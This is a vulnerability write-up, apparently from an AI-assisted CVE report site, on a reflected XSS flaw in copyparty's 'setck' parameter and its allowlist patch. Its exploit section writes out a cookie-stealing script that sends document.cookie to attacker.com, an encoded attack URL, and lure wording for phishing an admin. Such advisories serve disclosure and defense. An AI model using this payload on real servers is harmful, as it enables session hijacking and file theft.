CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27948

The Party Pooper: Reflected XSS in Copyparty (CVE-2026-27948)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 27, 2026·5 min read·76 visits

Executive Summary (TL;DR)

Copyparty < 1.20.9 reflects the 'setck' query parameter directly into the HTML response without sanitization. Attackers can use this to execute arbitrary JavaScript in a victim's browser. Patch adds strict allowlisting (alphanumeric only) and length limits.

A classic Reflected Cross-Site Scripting (XSS) vulnerability exists in the 'copyparty' portable file server, specifically within the 'setck' URL parameter used for setting client-side configuration cookies. This flaw allows unauthenticated attackers to inject malicious JavaScript into the server's response, potentially leading to session hijacking, unauthorized file access, or administrative account takeover when a victim clicks a crafted link.

The Hook: When Convenience Becomes a Liability

Copyparty is one of those tools sysadmins love. It’s a portable file server that runs anywhere Python lives, requires zero configuration, and just works. It is the digital equivalent of a Swiss Army knife—useful, ubiquitous, and usually safe in the pocket. But as with any tool designed for maximum convenience, security boundaries often get blurred in the name of 'feature richness'.

The vulnerability we are dissecting today, CVE-2026-27948, targets a specific convenience feature: the ability to set configuration cookies via a simple URL parameter. It sounds harmless enough—like letting a user save their dark mode preference via a link. However, in the world of web security, any time an application takes user input and spits it back out without scrubbing it first, you have a recipe for disaster.

This isn't a complex heap overflow or a race condition in the kernel. It’s Reflected Cross-Site Scripting (XSS). It’s the 'Hello World' of web exploitation, yet it persists in 2026 because developers still trust users. Rule #1 of the Internet: Users are not your friends. They are entropy agents trying to break your things.

The Flaw: A Mirror for Malice

The root cause lies in copyparty/httpcli.py. The application exposes a parameter named setck (presumably short for 'Set Cookie'). The logic is straightforward: the user visits a URL containing ?setck=value, and the server sets a cookie with that value. To be helpful, the server also replies with a confirmation message, effectively saying, 'Okay, I have set the cookie to [value].'

Here is where the logic fails. The server treated the setck value as a trusted string. It took whatever garbage the user threw into the URL and reflected it directly into the HTML response body. There was no output encoding, no sanitization, and no validation.

If you send ?setck=darkmode, the server replies set cookie: darkmode. But if you send ?setck=<script>alert(1)</script>, the server happily replies set cookie: <script>alert(1)</script>. The browser, seeing the script tags in the HTML, stops treating it as text and starts executing it as code. This is a textbook Reflected XSS. The server effectively becomes a mirror, reflecting the attacker's payload onto the victim's session.

The Code: Before and After

Let's look at the actual code changes, because the diff tells the whole story. The fix was introduced in commit 31b2801fd041f803f4a3d5c12c7d7cb5419048bc. The developer realized that allowing arbitrary characters in a configuration cookie was a terrible idea.

The Vulnerable Logic (Conceptual)

Previously, the code (roughly) looked like this:

# Vulnerable pseudocode
val = request.args.get('setck')
response.set_cookie('cfg', val)
return "Cookie set to: " + val  # <--- The Reflection Point

The Fix

The patch introduces a strict allowlist. It doesn't just escape the output; it rejects bad input entirely. They added a regex to copyparty/httpcli.py:

RE_SETCK = re.compile(r"[^0-9a-z=]")

And then applied it with a hammer:

zs = self.uparam["setck"]
# 1. Length check (Max 9 chars)
# 2. Regex check (Only lowercase alphanumeric and equals)
if len(zs) > 9 or RE_SETCK.search(zs):
    raise Pebkac(400, "illegal value")

This is a robust fix. By strictly defining what is allowed (only a-z, 0-9, and =) rather than trying to filter out what is bad, they effectively neutralized the attack vector. You can't write <script> if you can't use < or >.

The Exploit: Stealing the Admin Session

To exploit this, an attacker needs to trick a logged-in Copyparty user (ideally an admin) into clicking a link. Since Copyparty is often used on internal networks or defined ports (like 3923), the attacker might target a specific host.

The Attack Chain

  1. Craft the Payload: We need a JavaScript payload that grabs the session cookie (document.cookie) and sends it to a server controlled by the attacker.
fetch('http://attacker.com/log?c='+document.cookie)
  1. Encode the Payload: Since we are passing this in a URL, we must URL-encode the special characters. <script> becomes %3Cscript%3E.

  2. Construct the URL:

http://target-file-server:3923/?setck=cp_val=%3Cscript%3Efetch('http://attacker.com/log?c='%2bdocument.cookie)%3C/script%3E
  1. Delivery: Send this link to the sysadmin via email, Slack, or embed it in a page they frequent. "Hey, check out this error on the file server."

  2. Execution: The admin clicks. The Copyparty server sees the setck param, reflects it into the body, and the admin's browser executes the script. The session token is silently exfiltrated to attacker.com.

With the session token, the attacker can impersonate the admin, upload malicious files (web shells), or delete critical backups.

The Impact: Why This Matters

You might think, "It's just XSS, big deal." But context is king. Copyparty is a file server. It has read/write access to the filesystem.

If an attacker hijacks an administrative session via XSS, they don't just get to change your wallpaper. They can:

  1. Upload Web Shells: If the server configuration allows uploads (which is the point of a file server), the attacker uploads a reverse shell.
  2. Data Exfiltration: Access private files, SSH keys, or configuration dumps stored on the server.
  3. Pivot Point: Use the compromised server as a beachhead to scan the rest of the internal network.

While the CVSS score is a moderate 5.4 (due to the requirement of user interaction), the potential impact on a trusted internal network is critical.

Official Patches

GitHubCommit 31b2801 fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
EPSS Probability
0.03%
Top 92% most exploited

Affected Systems

copyparty < 1.20.9

Affected Versions Detail

Product
Affected Versions
Fixed Version
copyparty
9001
< 1.20.91.20.9
AttributeDetail
CWECWE-79 (XSS)
Attack VectorNetwork (Reflected)
CVSS v3.15.4 (Medium)
EPSS Score0.00029 (Low)
Privileges RequiredNone
User InteractionRequired

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Reflected XSS

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

HypotheticalStandard XSS Proof of Concept using script tags.
NucleiDetection Template Available

Vulnerability Timeline

Fix commit pushed to GitHub
2026-02-25
CVE and GHSA published
2026-02-26
Version 1.20.9 released
2026-02-26

References & Sources

  • [1]GHSA-62cr-6wp5-q43h
  • [2]NVD - CVE-2026-27948

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-107722
9.8

CVE-2026-107722: Algorithm Confusion via Non-Whitespace Prefix Bypass in fast-jwt

A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.

Amit Schendel
Amit Schendel
1 views•5 min read
•about 2 hours ago•CVE-2026-107720
7.4

CVE-2026-107720: Signature Verification Bypass in NearForm fast-jwt

CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 3 hours ago•CVE-2026-107715
6.8

CVE-2026-107715: Information Disclosure and Credential Leakage in Ruby Mechanize via Cross-Origin Redirections

Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.

Alon Barad
Alon Barad
6 views•7 min read
•about 4 hours ago•CVE-2026-107399
6.8

CVE-2026-107399: Information Disclosure via HTML Meta-Refresh in Ruby Mechanize

An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 5 hours ago•CVE-2026-107718
6.1

CVE-2026-107718: Open Redirect Vulnerability in @adonisjs/http-server

CVE-2026-107718 is a medium-severity Open Redirect vulnerability in the core HTTP server package of the AdonisJS Node.js framework. Prior to versions 8.2.3 and 9.3.0, the framework built route paths by directly interpolating dynamic parameters and wildcard segments without URI encoding. If an application routes attacker-controlled input directly to a dynamic first path segment and uses the generated route URL as a redirect destination, a leading slash can produce a scheme-relative external URL. Modern web browsers process scheme-relative URLs by redirecting the client to the specified external domain, exposing users to credential harvesting, social engineering, and session hijacking. This vulnerability affects all applications running unpatched configurations where input validation is not explicitly implemented before generating paths.

Alon Barad
Alon Barad
6 views•6 min read
•about 6 hours ago•CVE-2026-107725
8.7

CVE-2026-107725: Remote Code Execution via Authorization Bypass in Hazelcast Predicates API

CVE-2026-107725 is a critical security bypass in Hazelcast where missing authorization checks in the MapPermission class permit unprivileged clients to issue queries containing aggregators or projections. This architectural oversight allows attackers to run arbitrary code on the cluster servers under the privileges of the active Hazelcast process.

Amit Schendel
Amit Schendel
6 views•7 min read